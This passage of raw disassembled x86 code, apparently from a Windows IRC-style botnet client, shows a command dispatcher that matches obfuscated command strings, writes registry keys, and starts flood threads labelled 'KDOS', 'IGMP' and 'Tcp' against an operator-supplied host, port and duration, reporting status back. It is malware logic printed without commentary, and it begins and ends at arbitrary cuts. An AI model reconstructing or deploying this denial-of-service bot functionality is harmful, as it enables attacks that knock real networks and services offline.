		cmp	eax, 2
		jz	loc_4089F5
		cmp	eax, 4
		jnz	loc_40AF54
		push	dword ptr [esi+18h]
		call	sub_422B5A
		push	eax
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+var_8]
		call	sub_41A8D1
		add	esp, 14h
		mov	ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		test	eax, eax
		jz	short loc_40898F
		cmp	[ebp+arg_14], 0
		jnz	short loc_40896B
		cmp	[ebp+arg_18], 0
		jnz	short loc_408975
		push	dword ptr [esi+18h]
		call	sub_422B5A
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSSuccessfullyW ; "%s Successfully wrote: %s\\%s\\%s (%d)"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 24h


loc_40896B:				; CODE XREF: sub_403B2C+4E11j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_408975:				; CODE XREF: sub_403B2C+4E17j
		push	dword ptr [esi+18h]
		call	sub_422B5A
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSSuccessfullyW ; "%s Successfully wrote: %s\\%s\\%s (%d)"
		jmp	short loc_4089E3
; ---------------------------------------------------------------------------


loc_40898F:				; CODE XREF: sub_403B2C+4E0Bj
		cmp	[ebp+arg_14], 0
		jnz	short loc_4089C1
		cmp	[ebp+arg_18], 0
		jnz	short loc_4089CB
		push	dword ptr [esi+18h]
		call	sub_422B5A
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSFailedToWrite ; "%s Failed to write: %s\\%s\\%s (%d)"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 24h


loc_4089C1:				; CODE XREF: sub_403B2C+4E67j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4089CB:				; CODE XREF: sub_403B2C+4E6Dj
		push	dword ptr [esi+18h]
		call	sub_422B5A
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSFailedToWrite ; "%s Failed to write: %s\\%s\\%s (%d)"


loc_4089E3:				; CODE XREF: sub_403B2C+4E61j
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 24h
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_4089F5:				; CODE XREF: sub_403B2C+4DCBj
					; sub_403B2C+4DD4j ...
		push	[ebp+var_4]
		push	dword ptr [esi+18h]
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+var_8]
		call	sub_41A8F2
		add	esp, 14h
		mov	ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		test	eax, eax
		jz	short loc_408A6A
		cmp	[ebp+arg_14], 0
		jnz	short loc_408A3F
		cmp	[ebp+arg_18], 0
		jnz	short loc_408A49
		push	dword ptr [esi+18h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSWroteKeySSSS ;	"%s Wrote key: %s\\%s\\%s (%s)"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 20h


loc_408A3F:				; CODE XREF: sub_403B2C+4EEBj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_408A49:				; CODE XREF: sub_403B2C+4EF1j
		push	dword ptr [esi+18h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSWroteKeySSSS ;	"%s Wrote key: %s\\%s\\%s (%s)"


loc_408A5B:				; CODE XREF: sub_403B2C+4B56j
					; sub_403B2C+4F86j
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		jmp	loc_40A16B
; ---------------------------------------------------------------------------


loc_408A6A:				; CODE XREF: sub_403B2C+4EE5j
		cmp	[ebp+arg_14], 0
		jnz	short loc_408A96
		cmp	[ebp+arg_18], 0
		jnz	short loc_408AA0
		push	dword ptr [esi+18h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSFailedToWri_0 ; "%s Failed to write: %s\\%s\\%s (%s)"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 20h


loc_408A96:				; CODE XREF: sub_403B2C+4F42j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_408AA0:				; CODE XREF: sub_403B2C+4F48j
		push	dword ptr [esi+18h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [esi+0Ch]
		push	ebx
		push	offset aSFailedToWri_0 ; "%s Failed to write: %s\\%s\\%s (%s)"
		jmp	short loc_408A5B
; ---------------------------------------------------------------------------


loc_408AB4:				; CODE XREF: sub_403B2C+FA0j
					; sub_403B2C+FA9j ...
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_408AC3:				; CODE XREF: sub_403B2C+483Ej
					; sub_403B2C+4847j ...
		cmp	[ebp+arg_14], ecx
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		jnz	short loc_408AED
		cmp	[ebp+arg_18], ecx
		jnz	loc_40AD9F
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h
		xor	ecx, ecx


loc_408AED:				; CODE XREF: sub_403B2C+4FA4j
		cmp	[ebp+arg_18], ecx
		jmp	loc_40AD99
; ---------------------------------------------------------------------------


loc_408AF5:				; CODE XREF: sub_403B2C+4831j
		push	dword ptr [esi]
		push	offset aIkgekKykjq1 ; "iKgEK/kyKJQ1"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A40D
		push	dword ptr [esi]
		push	offset a6x7zf1eztny_ ; "6x7zf1EztnY."
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A40D
		push	dword ptr [esi]
		push	offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A40D
		push	dword ptr [esi]
		push	offset aMb05gVyf8f1 ; "mb05g/VYf8f1"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A40D
		push	dword ptr [esi]
		push	offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40A40D
		push	dword ptr [esi]
		push	offset aSbsip_o7v4b ; "SbsIp.o7V4B/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_408B63
		push	offset aTcp	; "Tcp"
		push	11h
		jmp	loc_409B7C
; ---------------------------------------------------------------------------


loc_408B63:				; CODE XREF: sub_403B2C+5029j
		push	dword ptr [esi]
		push	offset aUyfog_dvvny0 ; "UyfOG.DvVnY0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_408D3C
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jz	loc_4092AB
		cmp	[esi+8], ebx
		jz	loc_4092AB
		cmp	[esi+0Ch], ebx
		jz	loc_4092AB
		cmp	[esi+10h], ebx
		jz	loc_4092AB
		push	12h
		call	sub_41C254
		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jg	loc_4090D5
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_CE4], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_CE8], eax
		cmp	eax, ebx
		lea	eax, [ebp+var_E00]
		jnz	short loc_408BCF
		push	dword ptr [edi+0Ch]
		jmp	short loc_408BD1
; ---------------------------------------------------------------------------


loc_408BCF:				; CODE XREF: sub_403B2C+509Cj
		push	dword ptr [edi]


loc_408BD1:				; CODE XREF: sub_403B2C+50A1j
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_E08], eax
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_D80]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_CF4], eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		mov	[ebp+var_CF0], eax
		push	dword ptr [esi+10h]
		call	sub_422B5A
		add	esp, 18h
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_CF8], eax
		mov	ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		jnz	short loc_408C5B
		cmp	[ebp+arg_18], 0
		jnz	short loc_408C61
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_408C5B:				; CODE XREF: sub_403B2C+50FCj
		cmp	[ebp+arg_18], 0
		jz	short loc_408C8B


loc_408C61:				; CODE XREF: sub_403B2C+5102j
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 1Ch


loc_408C8B:				; CODE XREF: sub_403B2C+5133j
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	12h
		call	sub_41BED7
		add	esp, 18h
		mov	[ebp+var_CEC], eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_E08]
		push	esi
		push	eax
		push	offset sub_41112E
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_CEC]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jnz	short loc_408D2E


loc_408CE9:				; CODE XREF: sub_403B2C+5394j
					; sub_403B2C+5544j ...
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSFailedToSta_1 ; "%s Failed to start thread, error: (%d)."...
		jnz	short loc_408D11
		cmp	[ebp+arg_18], 0
		jnz	short loc_408D1B
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_408D11:				; CODE XREF: sub_403B2C+51C6j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_408D1B:				; CODE XREF: sub_403B2C+51CCj
		call	dword_42F068	; RtlGetLastWin32Error
		jmp	loc_4041AF
; ---------------------------------------------------------------------------


loc_408D26:				; CODE XREF: sub_403B2C+5209j
		push	32h
		call	dword_42F15C	; Sleep


loc_408D2E:				; CODE XREF: sub_403B2C+51BBj
		cmp	[ebp+var_CDC], 0
		jz	short loc_408D26
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_408D3C:				; CODE XREF: sub_403B2C+5042j
		push	dword ptr [esi]
		push	offset aPsern1aagh6_ ; "pSern1AAGh6."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_408EDE
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jz	loc_4092AB
		cmp	[esi+8], ebx
		jz	loc_4092AB
		cmp	[esi+0Ch], ebx
		jz	loc_4092AB
		cmp	[esi+10h], ebx
		jz	loc_4092AB
		push	12h
		call	sub_41C254
		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jg	loc_4090D5
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_F44], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_F48], eax
		cmp	eax, ebx
		lea	eax, [ebp+var_1060]
		jnz	short loc_408DA8
		push	dword ptr [edi+0Ch]
		jmp	short loc_408DAA
; ---------------------------------------------------------------------------


loc_408DA8:				; CODE XREF: sub_403B2C+5275j
		push	dword ptr [edi]


loc_408DAA:				; CODE XREF: sub_403B2C+527Aj
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_1068],	eax
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_FE0]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_F54], eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		mov	[ebp+var_F50], eax
		push	dword ptr [esi+10h]
		call	sub_422B5A
		add	esp, 18h
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_F58], eax
		mov	ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		jnz	short loc_408E34
		cmp	[ebp+arg_18], 0
		jnz	short loc_408E3A
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_408E34:				; CODE XREF: sub_403B2C+52D5j
		cmp	[ebp+arg_18], 0
		jz	short loc_408E64


loc_408E3A:				; CODE XREF: sub_403B2C+52DBj
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 1Ch


loc_408E64:				; CODE XREF: sub_403B2C+530Cj
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	12h
		call	sub_41BED7
		add	esp, 18h
		mov	[ebp+var_F4C], eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_1068]
		push	esi
		push	eax
		push	offset sub_41130C
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_F4C]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jz	loc_408CE9
		jmp	short loc_408ED0
; ---------------------------------------------------------------------------


loc_408EC8:				; CODE XREF: sub_403B2C+53ABj
		push	32h
		call	dword_42F15C	; Sleep


loc_408ED0:				; CODE XREF: sub_403B2C+539Aj
		cmp	[ebp+var_F3C], 0
		jz	short loc_408EC8
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_408EDE:				; CODE XREF: sub_403B2C+521Bj
		push	dword ptr [esi]
		push	offset aXkg84_cesgs_ ; "XkG84.cESgs."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40908E
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jz	loc_4092AB
		cmp	[esi+8], ebx
		jz	loc_4092AB
		cmp	[esi+0Ch], ebx
		jz	loc_4092AB
		cmp	[esi+10h], ebx
		jz	loc_4092AB
		push	12h
		call	sub_41C254
		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jg	loc_4090D5
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_A90], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_A94], eax
		cmp	eax, ebx
		lea	eax, [ebp+var_BAC]
		jnz	short loc_408F4A
		push	dword ptr [edi+0Ch]
		jmp	short loc_408F4C
; ---------------------------------------------------------------------------


loc_408F4A:				; CODE XREF: sub_403B2C+5417j
		push	dword ptr [edi]


loc_408F4C:				; CODE XREF: sub_403B2C+541Cj
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_BB4], eax
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_B2C]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_AA0], eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		mov	[ebp+var_A9C], eax
		push	dword ptr [esi+10h]
		call	sub_422B5A
		mov	[ebp+var_AA4], eax
		xor	eax, eax
		add	esp, 18h
		cmp	[ebp+arg_60], eax
		mov	ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		setnz	al
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_A8C], eax
		jnz	short loc_408FE4
		cmp	[ebp+arg_18], 0
		jnz	short loc_408FEA
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_408FE4:				; CODE XREF: sub_403B2C+5485j
		cmp	[ebp+arg_18], 0
		jz	short loc_409014


loc_408FEA:				; CODE XREF: sub_403B2C+548Bj
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 1Ch


loc_409014:				; CODE XREF: sub_403B2C+54BCj
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	12h
		call	sub_41BED7
		add	esp, 18h
		mov	[ebp+var_A98], eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_BB4]
		push	esi
		push	eax
		push	offset sub_4114B5
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_A98]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jz	loc_408CE9
		jmp	short loc_409080
; ---------------------------------------------------------------------------


loc_409078:				; CODE XREF: sub_403B2C+555Bj
		push	32h
		call	dword_42F15C	; Sleep


loc_409080:				; CODE XREF: sub_403B2C+554Aj
		cmp	[ebp+var_A88], 0
		jz	short loc_409078
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40908E:				; CODE XREF: sub_403B2C+53BDj
		push	dword ptr [esi]
		push	offset aP06vqBfbmo_ ; "p06vq/BFBMo."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4092BA
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jz	loc_4092AB
		cmp	[esi+8], ebx
		jz	loc_4092AB
		cmp	[esi+0Ch], ebx
		jz	loc_4092AB
		cmp	[esi+10h], ebx
		jz	loc_4092AB
		push	12h
		call	sub_41C254
		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_40911A


loc_4090D5:				; CODE XREF: sub_403B2C+507Cj
					; sub_403B2C+5255j ...
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		jnz	short loc_409103
		cmp	[ebp+arg_18], 0
		jnz	short loc_40910D
		push	[ebp+arg_C]
		push	offset aKdosThreads ; "KDOS Threads"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_409103:				; CODE XREF: sub_403B2C+55B7j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_40910D:				; CODE XREF: sub_403B2C+55BDj
		push	[ebp+arg_C]
		push	offset aKdosThreads ; "KDOS Threads"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_40911A:				; CODE XREF: sub_403B2C+55A7j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_E14], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_E18], eax
		cmp	eax, ebx
		lea	eax, [ebp+var_F30]
		jnz	short loc_40913B
		push	dword ptr [edi+0Ch]
		jmp	short loc_40913D
; ---------------------------------------------------------------------------


loc_40913B:				; CODE XREF: sub_403B2C+5608j
		push	dword ptr [edi]


loc_40913D:				; CODE XREF: sub_403B2C+560Dj
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_F38], eax
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_EB0]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_E24], eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		mov	[ebp+var_E20], eax
		push	dword ptr [esi+10h]
		call	sub_422B5A
		add	esp, 18h
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_E28], eax
		mov	ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		jnz	short loc_4091C7
		cmp	[ebp+arg_18], 0
		jnz	short loc_4091CD
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_4091C7:				; CODE XREF: sub_403B2C+5668j
		cmp	[ebp+arg_18], 0
		jz	short loc_4091F7


loc_4091CD:				; CODE XREF: sub_403B2C+566Ej
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 1Ch


loc_4091F7:				; CODE XREF: sub_403B2C+569Fj
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	12h
		call	sub_41BED7
		add	esp, 18h
		mov	[ebp+var_E1C], eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_F38]
		push	esi
		push	eax
		push	offset sub_41186E
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_E1C]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jnz	short loc_40929D
		cmp	[ebp+arg_14], esi
		mov	esi, dword_42F068
		jnz	short loc_40927D
		cmp	[ebp+arg_18], 0
		jnz	short loc_409287
		call	esi ; dword_42F068
		push	eax
		push	ebx
		push	offset aSFailedToSta_2 ; "%s Failed to start thread, error: (%d)"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_40927D:				; CODE XREF: sub_403B2C+5732j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_409287:				; CODE XREF: sub_403B2C+5738j
		call	esi ; dword_42F068
		push	eax
		push	ebx
		push	offset aSFailedToSta_2 ; "%s Failed to start thread, error: (%d)"
		jmp	loc_40A5C3
; ---------------------------------------------------------------------------


loc_409295:				; CODE XREF: sub_403B2C+5778j
		push	32h
		call	dword_42F15C	; Sleep


loc_40929D:				; CODE XREF: sub_403B2C+5727j
		cmp	[ebp+var_E0C], 0
		jz	short loc_409295
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_4092AB:				; CODE XREF: sub_403B2C+504Dj
					; sub_403B2C+5056j ...
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_4092BA:				; CODE XREF: sub_403B2C+556Dj
		push	dword ptr [esi]
		push	offset a3vvsv1vurua ; "3VVsV1VuRUA/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4092D3
		push	offset aKdos	; "KDOS"
		push	12h
		jmp	loc_409B7C
; ---------------------------------------------------------------------------


loc_4092D3:				; CODE XREF: sub_403B2C+5799j
		push	dword ptr [esi]
		push	offset a2onvg1wfjmb1 ; "2ONVG1WFjmb1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4094C3
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jz	loc_4094B4
		cmp	[esi+8], ebx
		jz	loc_4094B4
		cmp	[esi+0Ch], ebx
		jz	loc_4094B4
		cmp	[esi+10h], ebx
		jz	loc_4094B4
		push	13h
		call	sub_41C254
		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_40935D
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset a2fulsVpayi0 ; "2FUlS/VPAyI0"
		jnz	short loc_409346
		cmp	[ebp+arg_18], 0
		jnz	short loc_409350
		push	eax
		push	offset aIgmpThreads ; "IGMP Threads"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_409346:				; CODE XREF: sub_403B2C+57FCj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_409350:				; CODE XREF: sub_403B2C+5802j
		push	[ebp+arg_C]
		push	offset aIgmpThreads ; "IGMP Threads"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_40935D:				; CODE XREF: sub_403B2C+57ECj
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_BBC], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_BC0], eax
		cmp	eax, ebx
		lea	eax, [ebp+var_C50]
		jnz	short loc_40937E
		push	dword ptr [edi+0Ch]
		jmp	short loc_409380
; ---------------------------------------------------------------------------


loc_40937E:				; CODE XREF: sub_403B2C+584Bj
		push	dword ptr [edi]


loc_409380:				; CODE XREF: sub_403B2C+5850j
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_CD8], eax
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_CD0]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_BCC], eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		mov	[ebp+var_BC8], eax
		push	dword ptr [esi+10h]
		call	sub_422B5A
		add	esp, 18h
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_BC4], eax
		mov	ebx, offset a2fulsVpayi0 ; "2FUlS/VPAyI0"
		jnz	short loc_40940A
		cmp	[ebp+arg_18], 0
		jnz	short loc_409410
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_40940A:				; CODE XREF: sub_403B2C+58ABj
		cmp	[ebp+arg_18], 0
		jz	short loc_40943A


loc_409410:				; CODE XREF: sub_403B2C+58B1j
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 1Ch


loc_40943A:				; CODE XREF: sub_403B2C+58E2j
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
		push	13h
		call	sub_41BED7
		add	esp, 18h
		mov	[ebp+var_BD0], eax
		lea	eax, [ebp+arg_6C]
